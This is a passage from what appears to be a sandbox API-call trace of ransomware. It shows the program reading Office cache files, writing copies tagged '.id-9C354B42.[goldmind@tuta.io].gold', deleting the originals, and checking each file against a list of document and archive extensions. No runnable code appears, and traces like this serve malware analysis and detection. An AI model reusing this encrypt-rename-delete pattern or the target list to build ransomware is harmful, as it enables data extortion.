nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.191] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0045.191] ReadFile (in: hFile=0x168, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.196] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.196] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0045.196] ReadFile (in: hFile=0x168, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.212] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0045.212] WriteFile (in: hFile=0x168, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0045.225] SetEndOfFile (hFile=0x168) returned 1 [0045.225] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f74098 [0045.228] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0045.228] WriteFile (in: hFile=0x168, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.229] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0045.229] WriteFile (in: hFile=0x168, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.309] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0045.309] WriteFile (in: hFile=0x168, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.341] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f74098 | out: hHeap=0x880000) returned 1 [0045.343] CloseHandle (hObject=0x168) returned 1 [0045.343] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0045.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0045.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0045.344] lstrlenW (lpString=".doc") returned 4 [0045.344] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.344] lstrlenW (lpString=".docx") returned 5 [0045.344] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0045.344] lstrlenW (lpString=".pdf") returned 4 [0045.344] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.344] lstrlenW (lpString=".xls") returned 4 [0045.344] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.344] lstrlenW (lpString=".xlsx") returned 5 [0045.344] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0045.344] lstrlenW (lpString=".ppt") returned 4 [0045.344] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0045.344] lstrlenW (lpString=".zip") returned 4 [0045.344] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.344] lstrlenW (lpString=".rar") returned 4 [0045.344] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.344] lstrlenW (lpString=".bz2") returned 4 [0045.344] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.344] lstrlenW (lpString=".7z") returned 3 [0045.344] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0045.344] lstrlenW (lpString=".dbf") returned 4 [0045.344] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0045.344] lstrlenW (lpString=".1cd") returned 4 [0045.344] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0045.344] lstrlenW (lpString=".jpg") returned 4 [0045.344] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0045.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0045.345] lstrlenW (lpString=".doc") returned 4 [0045.345] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.345] lstrlenW (lpString=".docx") returned 5 [0045.345] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0045.345] lstrlenW (lpString=".pdf") returned 4 [0045.345] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.345] lstrlenW (lpString=".xls") returned 4 [0045.345] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.345] lstrlenW (lpString=".xlsx") returned 5 [0045.345] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0045.345] lstrlenW (lpString=".ppt") returned 4 [0045.345] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0045.345] lstrlenW (lpString=".zip") returned 4 [0045.345] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.345] lstrlenW (lpString=".rar") returned 4 [0045.345] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.345] lstrlenW (lpString=".bz2") returned 4 [0045.345] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.345] lstrlenW (lpString=".7z") returned 3 [0045.345] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0045.345] lstrlenW (lpString=".dbf") returned 4 [0045.345] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0045.345] lstrlenW (lpString=".1cd") returned 4 [0045.345] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0045.345] lstrlenW (lpString=".jpg") returned 4 [0045.345] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.345] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0045.345] lstrlenW (lpString="PidGenX.dll") returned 11 [0045.345] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0045.346] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=1463568) returned 1 [0045.346] CloseHandle (hObject=0x168) returned 1 [0045.346] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0045.346] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0045.346] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0045.346] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0045.346] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0045.346] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.346] GetLastError () returned 0x0 [0045.346] ReadFile (in: hFile=0x168, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0xffff0, lpOverlapped=0x0) returned 1 [0045.372] WriteFile (in: hFile=0x184, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0045.386] ReadFile (in: hFile=0x168, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x65520, lpOverlapped=0x0) returned 1 [0045.401] WriteFile (in: hFile=0x184, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0x65530, lpOverlapped=0x0) returned 1 [0045.408] ReadFile (in: hFile=0x168, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0045.408] WriteFile (in: hFile=0x184, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.408] SetEndOfFile (hFile=0x184) returned 1 [0045.408] CloseHandle (hObject=0x184) returned 1 [0045.409] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0045.409] SetEndOfFile (hFile=0x168) returned 1 [0045.411] CloseHandle (hObject=0x168) returned 1 [0045.411] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0045.412] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0045.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0045.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0045.412] lstrlenW (lpString=".doc") returned 4 [0045.412] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0045.412] lstrlenW (lpString=".docx") returned 5 [0045.412] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0045.412] lstrlenW (lpString=".pdf") returned 4 [0045.412] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0045.412] lstrlenW (lpString=".xls") returned 4 [0045.412] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0045.412] lstrlenW (lpString=".xlsx") returned 5 [0045.412] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0045.412] lstrlenW (lpString=".ppt") returned 4 [0045.412] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0045.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0045.412] lstrlenW (lpString=".zip") returned 4 [0045.412] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0045.412] lstrlenW (lpString=".rar") returned 4 [0045.412] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0045.412] lstrlenW (lpString=".bz2") returned 4 [0045.412] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0045.412] lstrlenW (lpString=".7z") returned 3 [0045.412] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0045.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0045.412] lstrlenW (lpString=".dbf") returned 4 [0045.412] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0045.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0045.412] lstrlenW (lpString=".1cd") returned 4 [0045.412] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0045.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0045.412] lstrlenW (lpString=".jpg") returned 4 [0045.412] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0045.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0045.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0045.412] lstrlenW (lpString=".doc") returned 4 [0045.412] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0045.412] lstrlenW (lpString=".docx") returned 5 [0045.412] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0045.412] lstrlenW (lpString=".pdf") returned 4 [0045.412] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0045.413] lstrlenW (lpString=".xls") returned 4 [0045.413] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0045.413] lstrlenW (lpString=".xlsx") returned 5 [0045.413] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0045.413] lstrlenW (lpString=".ppt") returned 4 [0045.413] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0045.413] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0045.413] lstrlenW (lpString=".zip") returned 4 [0045.413] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0045.413] lstrlenW (lpString=".rar") returned 4 [0045.413] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0045.413] lstrlenW (lpString=".bz2") returned 4 [0045.413] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0045.413] lstrlenW (lpString=".7z") returned 3 [0045.413] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0045.413] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0045.413] lstrlenW (lpString=".dbf") returned 4 [0045.413] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0045.413] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0045.413] lstrlenW (lpString=".1cd") returned 4 [0045.413] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0045.413] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0045.413] lstrlenW (lpString=".jpg") returned 4 [0045.413] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0045.413] lstrcmpiW (lpString1=".xrm-ms", lpString2=".gold") returned 1 [0045.413] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0045.413] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0045.413] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=715834) returned 1 [0045.413] CloseHandle (hObject=0x168) returned 1 [0045.413] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0045.414] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0045.414] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0045.414] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0045.414] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0045.414] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.414] GetLastError () returned 0x0 [0045.414] ReadFile (in: hFile=0x168, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0045.428] WriteFile (in: hFile=0x184, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0045.643] ReadFile (in: hFile=0x168, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0045.643] WriteFile (in: hFile=0x184, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0x104, lpOverlapped=0x0) returned 1 [0045.643] SetEndOfFile (hFile=0x184) returned 1 [0045.643] CloseHandle (hObject=0x184) returned 1 [0045.643] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0045.643] SetEndOfFile (hFile=0x168) returned 1 [0045.647] CloseHandle (hObject=0x168) returned 1 [0045.648] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0045.648] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0045.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.997] lstrlenW (lpString=".doc") returned 4 [0045.997] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0045.997] lstrlenW (lpString=".docx") returned 5 [0045.997] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0045.997] lstrlenW (lpString=".pdf") returned 4 [0045.997] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0045.997] lstrlenW (lpString=".xls") returned 4 [0045.997] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0045.997] lstrlenW (lpString=".xlsx") returned 5 [0045.997] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0045.997] lstrlenW (lpString=".ppt") returned 4 [0045.997] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0045.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.997] lstrlenW (lpString=".zip") returned 4 [0045.997] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0045.997] lstrlenW (lpString=".rar") returned 4 [0045.997] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0045.997] lstrlenW (lpString=".bz2") returned 4 [0045.997] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0045.997] lstrlenW (lpString=".7z") returned 3 [0045.997] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0045.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.997] lstrlenW (lpString=".dbf") returned 4 [0045.997] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0045.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.997] lstrlenW (lpString=".1cd") returned 4 [0045.997] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0045.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.997] lstrlenW (lpString=".jpg") returned 4 [0045.997] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0045.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.997] lstrlenW (lpString=".doc") returned 4 [0045.997] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0045.997] lstrlenW (lpString=".docx") returned 5 [0045.997] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0045.997] lstrlenW (lpString=".pdf") returned 4 [0045.997] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0045.998] lstrlenW (lpString=".xls") returned 4 [0045.998] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0045.998] lstrlenW (lpString=".xlsx") returned 5 [0045.998] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0045.998] lstrlenW (lpString=".ppt") returned 4 [0045.998] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0045.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.998] lstrlenW (lpString=".zip") returned 4 [0045.998] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0045.998] lstrlenW (lpString=".rar") returned 4 [0045.998] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0045.998] lstrlenW (lpString=".bz2") returned 4 [0045.998] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0045.998] lstrlenW (lpString=".7z") returned 3 [0045.998] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0045.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.998] lstrlenW (lpString=".dbf") returned 4 [0045.998] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0045.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.998] lstrlenW (lpString=".1cd") returned 4 